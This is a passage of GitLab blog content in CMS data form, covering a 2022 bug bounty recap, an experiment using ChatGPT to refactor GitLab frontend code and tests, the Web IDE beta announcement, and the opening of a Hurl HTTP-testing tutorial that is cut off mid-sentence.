   \"datePublished\": \"2022-12-19\",\n      }",{"title":11501,"description":11502,"authors":11506,"heroImage":11314,"date":11489,"body":11508,"category":674,"tags":11509},[11507],"Nick Malcolm","Each year, GitLab's [Application Security team](/handbook/security/security-engineering-and-research/application-security/) likes to recap the highlights from GitLab's bug bounty program.\n\nIt's been a busy 2022 for security teams across the industry, and we have been fortunate to receive a huge number of excellent reports that help us keep GitLab and its customers secure. With the [increase we made to our bug bounty award amounts](/blog/3rd-annual-bug-bounty-contest/#-increased-bounties-across-all-bounty-ranges-) in November 2021 and increased researcher engagement, we've broken a new record by **awarding over $1 million USD** in bounties during 2022!\n\nWe wouldn't be where we are without the collaboration of our bug bounty community, and we consider these awards as hugely beneficial and money well spent.\n\n## 2022 by the numbers\n\n\u003C!--\n\nSSoT for amounts is https://hackerone.com/gitlab/analytics/explore\nIt includes reports made prior to 2022 but where the resolution and payout were in 2022. It also includes valid but still unresolved reports where partial or full award has already been made.\n\nSSoT for top researchers is https://hackerone.com/gitlab/program_statistics\n\nSSoT for non-confidential ~hackerone issues is https://gitlab.com/gitlab-org/gitlab/-/issues/?sort=created_date&state=all&label_name%5B%5D=HackerOne&confidential=no&first_page_size=100\nThe count is the number of non-confidential ~hackerone issues created in 2022 (open + closed)\n\nSSoT for number of reports and researchers is https://gitlab.com/gitlab-com/gl-security/appsec/tooling/h1-stats/-/tree/master/ruby\n\nSSoT for Ultimate licenses is via https://about.gitlab.com/handbook/security/security-engineering-and-research/application-security/runbooks/hackerone-process.html#awarding-ultimate-licenses\n-->\n\n- Awarded a total of $1,055,770 USD in bounties across 221 valid reports, up from $337,780 last year!\n- Three researchers earned $100,000+ USD across their multiple reports, and another seven earned over $20,000 USD.\n- Received a total of 920 reports from 424 researchers in 2022.\n- Resolved 158 valid reports and made 94 public - this year, we received a number of information leak reports which, unlike vulnerabilities, don't need a public GitLab issue.\n- Had 138 security researchers submit more than one report this year, signaling a positive commitment to our program.\n- Awarded eight GitLab Ultimate licenses to researchers who submitted three or more valid reports.\n\n_Note: Data is accurate as of December 16, 2022._\n\nYou can see program statistics updated daily on our [HackerOne program page](https://hackerone.com/gitlab). That's also the place to get started with our program if you want in on the action!\n\n## Reports and reporters that stood out\n\n\u003Ci class=\"fas fa-address-card fa-fw\" style=\"color:rgb(46,46,46); font-size:1.0em\" aria-hidden=\"true\">\u003C/i> **Most valid reports to our program.** Congratulations to [@joaxcar](https://hackerone.com/joaxcar) who made 22 valid and now-resolved reports in 2022.\n\n\u003Ci class=\"fas fa-address-card fa-fw\" style=\"color:rgb(46,46,46); font-size:1.0em\" aria-hidden=\"true\">\u003C/i> **Most valid reports from a newcomer to our program.** Welcome and congratulations to [@albatraoz](https://hackerone.com/albatraoz) who made seven valid and now-resolved reports in 2022.\n\n\u003Ci class=\"fas fa-pencil-alt fa-fw\" style=\"color:rgb(219,58,33); font-size:1.0em\" aria-hidden=\"true\">\u003C/i> **Best written report.** Well done and thank you [@yvvdwf](https://hackerone.com/yvvdwf) for writing up a really interesting [remote code execution bug](https://gitlab.com/gitlab-org/gitlab/-/issues/371098). The walkthrough of the code and root cause, the scripts to create a dummy malicious server, and the collaboration with our AppSec team during validation was fantastic!\n\n\u003Ci class=\"far fa-lightbulb fa-fw\" style=\"color:rgb(252,161,33); font-size:1.0em\" aria-hidden=\"true\">\u003C/i> **Most innovative report.** High five, [@vakzz](https://hackerone.com/vakzz), who captured the flag with a [novel local `git` read vulnerability](https://gitlab.com/gitlab-org/gitlab/-/issues/372165)! He also did [a neat followup](https://gitlab.com/gitlab-org/gitlab/-/issues/371884) to `@yvvdwf`'s RCE mentioned above.\n\n\u003Ci class=\"fas fa-exclamation fa-fw\" style=\"color:rgb(252,109,38); font-size:1.0em\" aria-hidden=\"true\">\u003C/i> **Most impactful finding.** We're thrilled to recognize [@taraszelyk](https://hackerone.com/taraszelyk), whose back-to-back information disclosure submissions led to a lot of positive security changes within GitLab. Thanks, Taras!\n\nWe will be getting in touch with these researchers to send out [GitLab Swag Shop](https://shop.gitlab.com) vouchers as a token of our appreciation.\n\n## Changes made in 2022\n\n- We adopted HackerOne's Gold Standard Safe Harbor statement. See [this announcement from HackerOne](https://www.hackerone.com/press-release/hackerone-announces-gold-standard-safe-harbor-improve-protections-good-faith-security).\n- We introduced [a $20,000 USD capture the flag bonus](https://hackerone.com/gitlab#user-content-capture-the-flag-for-20000), which was [captured once](https://gitlab.com/gitlab-org/gitlab/-/issues/372165).\n- We created [HackerOne Questions](https://gitlab.com/gitlab-com/gl-security/appsec/hackerone-questions/), a dedicated space for getting in touch with the AppSec team outside of HackerOne reports.\n- Created [\"Reproducible Vulnerabilities\"](/handbook/security/security-engineering-and-research/application-security/reproducible-vulnerabilities.html), a brand-new learning resource in our handbook structured with expandable hint sections so that you can challenge yourself and learn how to find real security bugs.\n- Continued to iterate transparently on our [HackerOne triage process](https://gitlab.com/gitlab-com/www-gitlab-com/-/commits/master/sites/handbook/source/handbook/security/security-engineering-and-research/application-security/runbooks/hackerone-process.html.md), and on our [Bug Bounty Calculator](https://gitlab.com/gitlab-com/gl-security/appsec/cvss-calculator/-/commits/master), including standardized amounts for non-vulnerability reports like information leaks.\n\nThis year, we also continued to provide content that helps both researchers and other organizations running bug bounty programs:\n\n- GitLab Blog: [\"Want to start hacking? Here's how to quickly dive in\"](/blog/cracking-our-bug-bounty-top-10/)\n- GitLab Blog: [\"How GitLab handles security bugs (and why it matters)\"](/blog/how-gitlab-handles-security-bugs/)\n- YouTube: [NullCon 2022 Video Panel: \"CXO Panel: Bug Bounty? Great! Now What?\"](https://www.youtube.com/watch?v=uqvai-ml1iV4)\n\nAs always, it is a real pleasure to work with the best security researchers our industry has to offer, including many newcomers. GitLab's AppSec team is committed to being an industry leader when it comes to the transparency of our bug bounty program and the awards given. [Let us know how we're doing](https://gitlab.com/gitlab-com/gl-security/appsec/hackerone-questions/) so we can iterate on our program processes.\n\nHere's to 2023 - happy hacking!",[674,1938,267],{"slug":11511,"featured":6,"template":678},"why-2022-was-a-record-breaking-year-in-bug-bounty-awards","content:en-us:blog:why-2022-was-a-record-breaking-year-in-bug-bounty-awards.yml","Why 2022 Was A Record Breaking Year In Bug Bounty Awards","en-us/blog/why-2022-was-a-record-breaking-year-in-bug-bounty-awards.yml","en-us/blog/why-2022-was-a-record-breaking-year-in-bug-bounty-awards",{"_path":11517,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11518,"content":11524,"config":11529,"_id":11531,"_type":16,"title":11532,"_source":17,"_file":11533,"_stem":11534,"_extension":20},"/en-us/blog/can-chatgpt-resolve-gitlab-issues",{"title":11519,"description":11520,"ogTitle":11519,"ogDescription":11520,"noIndex":6,"ogImage":11521,"ogUrl":11522,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11522,"schema":11523},"Testing ChatGPT: Can it solve a GitLab issue?","We put ChatGPT to the test to see if it could contribute to GitLab. Here's what we learned.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670171/Blog/Hero%20Images/akshay-nanavati-Zq6HerrBPEs-unsplash.jpg","https://about.gitlab.com/blog/can-chatgpt-resolve-gitlab-issues","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Testing ChatGPT: Can it solve a GitLab issue?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"John Coghlan\"},{\"@type\":\"Person\",\"name\":\"Fatima Sarah Khalid\"}],\n        \"datePublished\": \"2022-12-15\",\n      }",{"title":11519,"description":11520,"authors":11525,"heroImage":11521,"date":11526,"body":11527,"category":734,"tags":11528},[6631,2700],"2022-12-15","\nChatGPT has taken the tech world by storm since its [launch on November 30](https://openai.com/blog/chatgpt/). Media coverage, front page posts on Hacker News, Twitter threads, and videos - everywhere you look, there is another story.\n\nThe [GitLab Slack](/handbook/communication/#slack) was no different. In threads across Slack channels, including those for developer evangelism, UX, the CEO, random news, and every space in between, our team was chatting about this exciting new tool.\n\nAs we got more familiar with the tool, we started to learn about numerous things it can do. Here are a few that we found:\n\n- It can write poetry about GitLab features. \n- It can write blog posts.\n- It can write unit tests.\n- It gives advice on how to use certain features of GitLab.\n- It conducts competitive analysis.\n\nThere’s quite a bit more out there, including [inventing a new language](https://maximumeffort.substack.com/p/i-taught-chatgpt-to-invent-a-language) and [building a virtual machine](https://www.engraved.blog/building-a-virtual-machine-inside/). We can’t recall any technology that has generated more excitement in such a short time.\n\nWe acknowledge there are ethical and licensing concerns around using AI-generated code. For the purpose of this blog post, we will focus strictly on the capabilities of ChatGPT.\n\n## Testing ChatGPT\n\nAs members of GitLab’s [Developer Relations team](/handbook/marketing/developer-relations/), where we’re focused on growing our community of contributors and evangelists, our first reaction was to think of how this tool can help our contributors. The responses to questions like “How can I get started contributing to GitLab?” were cool but didn’t move the needle. So then we asked ourselves: Can we use ChatGPT to make a contribution to GitLab?\n\nHaving already been testing the tool, we knew we’d need to look for a very specific type of issue. We started to fine-tune our search. Here are the steps we took to find a potential issue:\n\n- Visited [https://gitlab.com/gitlab-org](https://gitlab.com/gitlab-org) and pulled up all the open issues by clicking on `Issues` in the left side nav.\n- Searched for all issues with the [“good for new contributors” label](https://gitlab.com/gitlab-org/gitlab/-/issues/?sort=updated_desc&state=opened&label_name%5B%5D=good%20for%20new%20contributors&first_page_size=20). This returned 482 issues at the time of writing.\n- Set [`“Assignee = None”`](https://gitlab.com/gitlab-org/gitlab/-/issues/?sort=updated_desc&state=opened&label_name%5B%5D=good%20for%20new%20contributors&assignee_id=None&first_page_size=20) to filter out issues that have already been assigned to someone. This trimmed things down even more.\n\nAfter poking through a few issues, this one caught our attention: an issue that is a request to [de-depulicate identical dropdown functionality from two Vue components into a shared component](https://gitlab.com/gitlab-org/gitlab/-/issues/221293).\n\n### Getting started\n\nWe opened up a ChatGPT thread via [https://chat.openai.com/chat](https://chat.openai.com/chat). If you don’t already have an account, you’ll need to register with OpenAI.\n\nThen we started a thread with Assistant (that’s what is returned when you ask ChatGPT what is its name). We asked Assistant to create a shared Vue component called `SharedDropdownFilter` from the duplicate code in `GroupsDropdownFilter` and `ProjectsDropdownFilter` and passed the scripts of both components.\n\nChatGPT replied with:\n\n>You can create a new `SharedDropdownFilter` component that contains the duplicate code and use it in both `GroupsDropdownFilter` and `ProjectsDropdownFilter`:\n\nand provided a template to describe the use. The template provided wasn’t quite what we were looking for.\n\n```vue\n\u003Ctemplate>\n  \u003CGlDropdown\n    :aria-label=\"label\"\n    :class=\"{ disabled: loading }\"\n    :disabled=\"loading\"\n    :selected=\"selectedProjectsLabel\"\n    :variant=\"multiSelect ? 'inline' : 'single-line'\"\n  >\n    \u003Ctemplate v-slot:menu>\n      \u003Cdiv class=\"py-4\">\n        \u003CGlSearchBoxByType\n          autofocus\n          class=\"search-box\"\n          :placeholder=\"searchPlaceholder\"\n          :type=\"searchType\"\n          v-model=\"searchTerm\"\n        />\n\n        \u003CGlDropdownHeader\n          v-if=\"selectedProjects.length && multiSelect\"\n          :class=\"{ 'd-none': !searchTerm }\"\n          class=\"js-dropdown-header\"\n        >\n          \u003Cspan>\n            {{ selectedProjectsLabel }}\n          \u003C/span>\n\n          \u003Cbutton\n```\n\nSo we tried again, this time being more specific and asking ChatGPT to “Create a shared Vue component that combines the two components `ProjectsDropdownFilter` and  `GroupsDropdownFilter`”. We passed in the full component files, including the templates.\n\nChatGPT responded with instructions, a sample Vue component, and an explanation of the functionality:\n\n> Here is a sample implementation of a shared Vue component that combines the two components `ProjectsDropdownFilter` and `GroupsDropdownFilter`:\n\n```vue\n\u003Ctemplate>\n  \u003Cdiv>\n    \u003CProjectsDropdownFilter\n      :groupId=\"groupId\"\n      :multiSelect=\"multiSelect\"\n      :label=\"label\"\n      :queryParams=\"queryParams\"\n      :defaultProjects=\"defaultProjects\"\n      @selected=\"onProjectsSelected\"\n    />\n    \u003CGroupsDropdownFilter\n      :multiSelect=\"multiSelect\"\n      :label=\"label\"\n      :queryParams=\"queryParams\"\n      :defaultGroups=\"defaultGroups\"\n      @selected=\"onGroupsSelected\"\n    />\n  \u003C/div>\n\u003C/template>\n\n\u003Cscript>\nimport { ProjectsDropdownFilter } from './ProjectsDropdownFilter.vue';\nimport { GroupsDropdownFilter } from './GroupsDropdownFilter.vue';\n\nexport default {\n  name: 'SharedDropdownFilter',\n  components: {\n    ProjectsDropdownFilter,\n    GroupsDropdownFilter,\n  },\n  props: {\n    groupId: {\n      type: Number,\n      required: true,\n    },\n    multiSelect: {\n      type: Boolean,\n      required: false,\n      default: false,\n    },\n    label: {\n      type: String,\n      required: false,\n      default: 'Dropdown filter',\n    },\n    queryParams: {\n      type: Object,\n      required: false,\n      default: () => ({}),\n    },\n    defaultProjects: {\n      type: Array,\n      required: false,\n      default: () => [],\n    },\n    defaultGroups: {\n      type: Array,\n      required: false,\n      default: () => [],\n    },\n  },\n  data() {\n    return {\n      selectedProjects: this.defaultProjects || [],\n      selectedGroups: this.defaultGroups || [],\n    };\n  },\n  methods: {\n    onProjectsSelected(selectedProjects) {\n      this.selectedProjects = selectedProjects;\n      this.$emit('selected', this.selectedProjects, this.selectedGroups);\n    },\n    onGroupsSelected(selectedGroups) {\n      this.selectedGroups = selectedGroups;\n      this.$emit('selected', this.selectedProjects, this.selectedGroups);\n    },\n  },\n};\n\u003C/script>\n```\n\n> In this implementation, the `SharedDropdownFilter` component is rendered as a container for the `ProjectsDropdownFilter` and` GroupsDropdownFilter` components. It passes down the `groupId`, `multiSelect`, `label`, `queryParams`, and `defaultProjects` props to the `ProjectsDropdownFilter` component, and the `multiSelect`, `label`, `queryParams`, and `defaultGroups` props to the `GroupsDropdownFilter` component. It also listens to the selected event emitted by the two components and updates its own `selectedProjects` and `selectedGroups` data accordingly. The `SharedDropdownFilter` component emits its own `selected` event with the updated `selectedProjects` and `selectedGroups` data when it receives the selected event from the `ProjectsDropdownFilter` and `GroupsDropdownFilter` components. This allows the parent component of the `SharedDropdownFilter` to be notified whenever the selected projects and groups are updated, so that it can take appropriate action, such as updating the data it displays.\n\nWith ChatGPT’s shared Vue component, we could start an MR for the issue, but would need to manually review the code and run tests in order to make sure the deduplication was done correctly.\n\n### Adjusting the filters\n\nIn hopes of finding an issue that ChatGPT could fully solve, this time we filtered using two labels (`good for new contributors` and `quick win`), Assignee = None, and added the keyword “refactor” to look for issues that required less net new code. At the time of writing, this [query](https://gitlab.com/gitlab-org/gitlab/-/issues/?search=refactor&sort=updated_asc&state=opened&label_name%5B%5D=quick%20win&label_name%5B%5D=good%20for%20new%20contributors&assignee_id=None&first_page_size=20) returned one issue: [a refactor for widget state tests](https://gitlab.com/gitlab-org/gitlab/-/issues/228611).\n\nAfter reviewing the issue, we opened the `/spec/frontend/vue_merge_request_widget/stores/get_state_key_spec.js` file mentioned in the issue description by navigating to that file on GitLab.com SaaS and opening the dropdown on the blue button at the top of the file frame, selecting “Open in Web IDE”, and then clicking the button to open the file in GitLab’s built-in Web IDE.\n\nWe copied the code from the file and asked ChatGPT to refactor these tests into a table of `it.each`. It was interesting to watch the output as ChatGPT provided an example of how we could refactor the tests using `it.each`:\n\n```javascript\nimport getStateKey from '~/vue_merge_request_widget/stores/get_state_key';\n\ndescribe('getStateKey', () => {\n  const context = {\n    mergeStatus: 'checked',\n    autoMergeEnabled: false,\n    canMerge: true,\n    onlyAllowMergeIfPipelineSucceeds: false,\n    isPipelineFailed: false,\n    hasMergeableDiscussionsState: false,\n    isPipelineBlocked: false,\n    canBeMerged: false,\n    projectArchived: false,\n    branchMissing: false,\n    commitsCount: 2,\n    hasConflicts: false,\n    draft: false,\n    detailedMergeStatus: null,\n  };\n\n  it.each([\n    [{}, null],\n    [{detailedMergeStatus: 'MERGEABLE'}, 'readyToMerge'],\n    [{detailedMergeStatus: 'DISCUSSIONS_NOT_RESOLVED'}, 'unresolvedDiscussions'],\n    [{detailedMergeStatus: 'DRAFT_STATUS'}, 'draft'],\n    [{detailedMergeStatus: 'CI_MUST_PASS'}, 'pipelineFailed'],\n    [{shouldBeRebased: true}, 'rebase'],\n    [{hasConflicts: true}, 'conflicts'],\n    [{detailedMergeStatus: 'CHECKING'}, 'checking'],\n    [{commitsCount: 0}, 'nothingToMerge'],\n    [{commitsCount: 1, branchMissing: true}, 'missingBranch'],\n    [{projectArchived: true}, 'archived'],\n  ])('should return \"%s\" when called with %p', (expected, input) => {\n    const bound = getStateKey.bind(Object.assign({}, context, input));\n    expect(bound()).toEqual(expected);\n  });\n\n  it('returns rebased state key', () => {\n    const context = {\n      mergeStatus: 'checked',\n      autoMergeEnabled: false,\n      canMerge: true,\n      onlyAllowMergeIfPipelineSucceeds: true,\n      isPipelineFailed: true,\n      hasMergeableDiscussionsState: false,\n      isPipelineBlocked: false,\n      canBeMerged: false,\n      shouldBeRebased: true,\n      projectArchived: false,\n      branchMissing: false,\n      commitsCount: 2,\n      hasConflicts: false,\n      draft: false,\n    };\n    const bound = getStateKey.bind(context);\n\n    expect(bound()).toEqual('rebase');\n  });\n});\n\n\n```\n\nAlong with an explanation of `it.each`:\n\n> Note that `it.each` is a utility provided by Jest that allows you to write the same test with different inputs and expected results. This can make your tests more concise and easier to read.\n\nOur next steps were to:\n- Paste the output from ChatGPT into the Web IDE.\n- Click the blue “Commit” button to commit the code.\n- Name the branch.\n- Open a merge request.\n\nAll of this can be done inside [GitLab’s Web IDE](https://docs.gitlab.com/ee/user/project/web_ide/) without leaving the browser.\n\n### Examining the results\n\nOnce we opened the merge request, a CI/CD pipeline was created to test the change. Unfortunately, the pipeline jobs for the Jest tests failed because the tests were returning `null` for each case instead of the expected results. We went back to ChatGPT to see if it could help us understand why the test was returning null for all cases. ChatGPT suggested a few different implementations to check to make sure things are defined currently:\n\n> There are a few reasons why the tests in the `it.each` function might be returning null for every case. Here are a few possibilities:\n>\n> If the `getStateKey` function is not implemented correctly, it might always return null, regardless of the input.\n> If the `getStateKey` function relies on certain variables that are not defined in the test cases, it might return null because those variables are undefined.\n> If the context object passed to the `getStateKey` function is not being merged correctly with the input object in the test cases, the function might not have access to all of the necessary information, and it might return null.\n\nWhile ChatGPT couldn’t solve the issue with the returned value directly, it provided a lot of possibilities to look into and offered suggestions of what variables or functions to debug. The suggestions prompted us to add code changes that logged the variable values onto the [JavaScript debug console](https://www.w3schools.com/js/js_debugging.asp), find the implementation of the `getStateKey` function, and figure out why the return value was null. Whenever we came across something unfamiliar in the code, like syntax in the `it.each` that wasn’t familiar, we asked ChatGPT for clarification or a helpful example. Many times throughout this experiment, working with ChatGPT felt like “rubber duck debugging,” but with an AI with which you have to be very specific about your ask.\n\n## What we learned from ChatGPT\n\nIn the end, we weren’t able to figure out why our tests were returning null, so we asked the front-end team if someone could review the code. Senior Frontend Engineer [Angelo Gulina](https://gitlab.com/agulina) reviewed the MR. He found that the solution was actually quite trivial: The order of parameters was inverted, resulting in a comparison that led to null! In his assessment, ChatGPT wasn’t able to provide a working solution, but would be able to provide solutions and ideas to an engineer with some experience with the codebase. It delivered a clean, organized solution and answered the task of combining the tests into an it.each table. It could not, however, catch the actual error (the inversion of parameters) or correctly guess why the tests were returning null.\n\nLet's circle back to the question that started this experiment: Can we use ChatGPT to contribute to GitLab? At this time, we’d say, \"yes,\" and you will need some understanding of the code to complete your solution. Since ChatGPT is a language model trained by OpenAI, it can only answer questions and provide information addressed in the model, which means answers requiring contextual specificity may fall short of what is needed to resolve an issue. However, it’s a tool that can help you if you’re stuck, need more clarification on a code snippet, or are trying to refactor some code. It was fascinating for us to experiment with ChatGPT and we were excited to see what it was capable of. The code provided, however, lacked some of the valuable insight and industry experience that a community of contributors can provide.\n\nAt GitLab, our [community and our open source stewardship](https://about.gitlab.com/company/strategy/#dual-flywheels) are part of our company strategy. Thousands of open source contributors worldwide have helped make GitLab what it is today. We see potential for ChatGPT and similar AI tools, not as a replacement for our community, but a way to make our community more efficient and enable more people to contribute GitLab.\n\n\n\n\n",[696,267,2704,4103],{"slug":11530,"featured":6,"template":678},"can-chatgpt-resolve-gitlab-issues","content:en-us:blog:can-chatgpt-resolve-gitlab-issues.yml","Can Chatgpt Resolve Gitlab Issues","en-us/blog/can-chatgpt-resolve-gitlab-issues.yml","en-us/blog/can-chatgpt-resolve-gitlab-issues",{"_path":11536,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11537,"content":11543,"config":11547,"_id":11549,"_type":16,"title":11550,"_source":17,"_file":11551,"_stem":11552,"_extension":20},"/en-us/blog/get-ready-for-new-gitlab-web-ide",{"title":11538,"description":11539,"ogTitle":11538,"ogDescription":11539,"noIndex":6,"ogImage":11540,"ogUrl":11541,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11541,"schema":11542},"A first look at the new GitLab Web IDE and remote development experience","The next-generation GitLab Web IDE, available to everyone, will enable faster and more efficient contributions right from your browser.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682545/Blog/Hero%20Images/navin-beta-unsplash.jpg","https://about.gitlab.com/blog/get-ready-for-new-gitlab-web-ide","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A first look at the new GitLab Web IDE and remote development experience\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Eric Schurter\"}],\n        \"datePublished\": \"2022-12-15\",\n      }",{"title":11538,"description":11539,"authors":11544,"heroImage":11540,"date":11526,"body":11545,"category":299,"tags":11546},[10130],"\n\nA little while back I wrote about the [future of the GitLab Web IDE](/blog/the-future-of-the-gitlab-web-ide/) and our decision to [rebuild the Web IDE](https://gitlab.com/groups/gitlab-org/-/epics/7683) on top of the open source VS Code project. Our goal: To make it simple for anyone and everyone to contribute, regardless of their development experience. Today, I am happy to announce that we are preparing to launch the new Web IDE experience as a beta, **available to everyone, and enabled by default on GitLab.com.** \n\nDevelopers and non-developers alike need to be able to contribute from anywhere, across multiple projects, and without context switching or the need to manage a local development environment. The new Web IDE is more user-friendly and efficient, combining VS Code's powerful core features with significantly improved performance and the ability to securely connect to a remote development environment directly from the Web IDE.\n\n## Start using the Web IDE Beta December 19\n\nI know you're excited to try it. We've been using it internally and it's fantastic. If you use GitLab.com, expect to see the Web IDE Beta available on December 19, 2022. There's nothing else you have to do, nothing to install, and no configuration necessary. After the launch, the Web IDE Beta will be the default experience across GitLab.\n\n![Screenshot of welcome screen](https://about.gitlab.com/images/blogimages/web-ide-images/ide-welcome-screen.png){: .shadow}\n\n### Available in 15.7 for self-managed users\nFor self-managed users, you'll get the Web IDE Beta as part of the GitLab 15.7 release, which will be available December 22, 2022. It will be behind a [feature flag](https://docs.gitlab.com/ee/user/project/web_ide_beta/index.html#enable-the-web-ide-beta) that admins can enable on an instance-level. \n\n## What can you expect with the new Web IDE? \n\nThe Web IDE Beta introduces a number of new features and improvements over the previous Web IDE, including the following: \n\n- A flexible and customizable interface with collapsible panels and custom themes\n\n![Screenshot of Web IDE interface](https://about.gitlab.com/images/blogimages/web-ide-images/ide-interface.png){: .shadow}\n\n- Contextual actions and drag & drop support in the file panel\n\n![Screenshot of file panel](https://about.gitlab.com/images/blogimages/web-ide-images/ide-file-panel.png){: .shadow}\n\n- Find and replace across all open files\n\n![Screenshot of find and replace](https://about.gitlab.com/images/blogimages/web-ide-images/ide-find-replace.png){: .shadow}\n\n- An interactive document outline and visual history panel\n- Up to 80% reduction in memory usage over the previous Web IDE\n- Improved reliability of tracking changes to files and directories\n- Better support for touchscreen devices such as tablets and (larger) smartphones\n\nThere's much, much more included in the Web IDE Beta, as you'll soon find out. But there's one more big thing to mention... \n\n## Interactive terminal access with remote development\n\nLast but not least, the beta introduces an entirely new category to GitLab by making it possible to securely connect to a remote development environment, run commands in an interactive terminal panel, and get real-time feedback from right inside the Web IDE. See it in action in this short video: \n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/q_xzzY9GT9c\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\nThis is the first feature released as part of our new Remote Development category, with much more planned in the near future. By connecting the Web IDE to a cloud runtime environment, you can unlock the full potential of a web-based IDE without having to manage your own local environment. More information about configuring your remote development environment can be found in our [documentation](https://docs.gitlab.com/ee/user/project/remote_development/) and more details about the Remote Development roadmap can be found on our [direction page](/direction/create/ide/remote_development/). Be on the lookout for a lot more about remote development in the coming months.\n\n## What about the previous Web IDE? \n\nThe Web IDE Beta is ready to handle many of the most frequently performed tasks you could tackle in the existing Web IDE, like committing changes to multiple files and reviewing merge request diffs, but in a much more powerful and familiar interface. We hope you'll enjoy working in the Web IDE Beta as much as we do. \n\nIf there's something missing, or for whatever reason you need to use the previous Web IDE experience, don't worry: We've included a [user preference](https://gitlab.com/-/profile/preferences) that allows you to switch back and forth between the two whenever you want. We'll keep both around until we're out of beta, something we have planned for GitLab 16.0 in May 2023, so you can maximize your efficiency while you adopt the new features. \n\n![Screenshot of user preference](https://about.gitlab.com/images/blogimages/web-ide-images/ide-user-preference.png){: .shadow}\n\n## What's next for the GitLab Web IDE? \n\nOf course, we're not done yet! We will be improving the features you see today and introducing some exciting new features before we come out of beta. We're working on adding support for [VS Code extensions](https://gitlab.com/groups/gitlab-org/-/epics/7685) and [enabling project-wide search](https://gitlab.com/groups/gitlab-org/-/epics/9466), but we are making this beta available to everyone because we want to hear from you. What's the most important missing piece for you? How can we make you more productive in the Web IDE? Let us know in the [feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/385787) and we'll keep iterating!\n\nCover image by [Navin Rai](lhttps://unsplash.com/@nicque) on [Unsplash](https://unsplash.com/photos/EgyIbEB7n8Y?utm_source=unsplash&utm_medium=referral&utm_content=creditShareLink)\n{: .note}\n",[754,736,695,1444],{"slug":11548,"featured":6,"template":678},"get-ready-for-new-gitlab-web-ide","content:en-us:blog:get-ready-for-new-gitlab-web-ide.yml","Get Ready For New Gitlab Web Ide","en-us/blog/get-ready-for-new-gitlab-web-ide.yml","en-us/blog/get-ready-for-new-gitlab-web-ide",{"_path":11554,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11555,"content":11560,"config":11565,"_id":11567,"_type":16,"title":11568,"_source":17,"_file":11569,"_stem":11570,"_extension":20},"/en-us/blog/how-to-continously-test-web-apps-apis-with-hurl-and-gitlab-ci-cd",{"title":11556,"description":11557,"ogTitle":11556,"ogDescription":11557,"noIndex":6,"ogImage":9309,"ogUrl":11558,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11558,"schema":11559},"How to continuously test web apps and APIs with Hurl and GitLab CI/CD","Hurl as a CLI tool can be integrated into the DevSecOps platform to continuously verify, test, and monitor targets. It also offers integrated unit test reports in GitLab CI/CD.","https://about.gitlab.com/blog/how-to-continously-test-web-apps-apis-with-hurl-and-gitlab-ci-cd","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to continuously test web apps and APIs with Hurl and GitLab CI/CD\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Michael Friedrich\"}],\n        \"datePublished\": \"2022-12-14\",\n      }",{"title":11556,"description":11557,"authors":11561,"heroImage":9309,"date":11562,"body":11563,"category":734,"tags":11564},[4808],"2022-12-14","\nTesting websites, web applications, or generally everything reachable with the HTTP protocol, can be a challenging exercise. Thanks to tools like `curl` and `jq`, [DevOps workflows have become more productive](/blog/devops-workflows-json-format-jq-ci-cd-lint/) and even simple monitoring tasks can be automated with CI/CD pipeline schedules. Sometimes, use cases require specialized tooling with custom HTTP headers, parsing expected responses, and building end-to-end test pipelines. Stressful incidents also need good and fast tools that help analyze the root cause and quickly mitigate and fix problems.\n\n[Hurl](https://hurl.dev) is an open-source project developed and maintained by Orange, and uses libcurl from curl to provide HTTP test capabilities. It aims to tackle complex HTTP test challenges by providing a simple plain text configuration to describe HTTP requests. It can chain requests, capture values, and evaluate queries on headers and body responses. So far, so good: Hurl does not only support fetching data, it can be used to test HTTP sessions and XML (SOAP) and JSON (REST) APIs.\n\n## Getting Started\n\nHurl comes in various package formats to [install](https://hurl.dev/docs/installation.html). On macOS, a Homebrew package is available.\n\n```sh\n$ brew install hurl\n```\n\n## First steps with Hurl\n\nHurl proposes to start with the configuration file format first, which is a great way to learn the syntax step by step. The following example creates a new `gitlab-contribute.hurl` configuration file that will do two things: execute a GET HTTP request on `https://about.gitlab.com/community/contribute/` and check whether its HTTP response contains the HTTP protocol `2` and status code `200` (OK).\n\n```sh\n$ vim gitlab-contribute.hurl\n\nGET https://about.gitlab.com/community/contribute/\n\nHTTP/2 200\n$ hurl --test gitlab-contribute.hurl\ngitlab-contribute.hurl: Running [1/1]\ngitlab-contribute.hurl: Success (1 request(s) in 413 ms)\n--------------------------------------------------------------------------------\nExecuted files:  1\nSucceeded files: 1 (100.0%)\nFailed files:    0 (0.0%)\nDuration:        415 ms\n```\n\nInstead of creating configuration files, you can also use the `echo “...” | hurl` command pattern. The following command tests against about.gitlab.com and checks whether the HTTP response protocol is 1.1 and the status is OK (200). The two newline characters `\\n` are required for separation.\n\n```sh\n$ echo \"GET https://about.gitlab.com\\n\\nHTTP/1.1 200\" | hurl --test\n```\n\n![hurl CLI run against about.gitlab.com, failed request](https://about.gitlab.com/images/blogimages/hurl-continuous-website-testing/hurl_assert_failure.png)\n\nThe command failed, and it says that the response protocol version is actually `2`. Let's adjust the test run to expect `HTTP/2`:\n\n```sh\necho \"GET https://about.gitlab.com\\n\\nHTTP/2 200\" | hurl --test\n```\n## Asserting HTTP responses\n\nHurl allows defining [assertions](https://hurl.dev/docs/asserting-response.html) to control when the tests fail. These can be defined for different HTTP response types:\n\n- Expected HTTP protocol version and status\n- Headers\n- Body\n\nThe configuration language allows users to define queries with predicates that allow to compare, chain, and execute different assertions.\n\nThis is the easiest way to verify that the HTTP response contains what 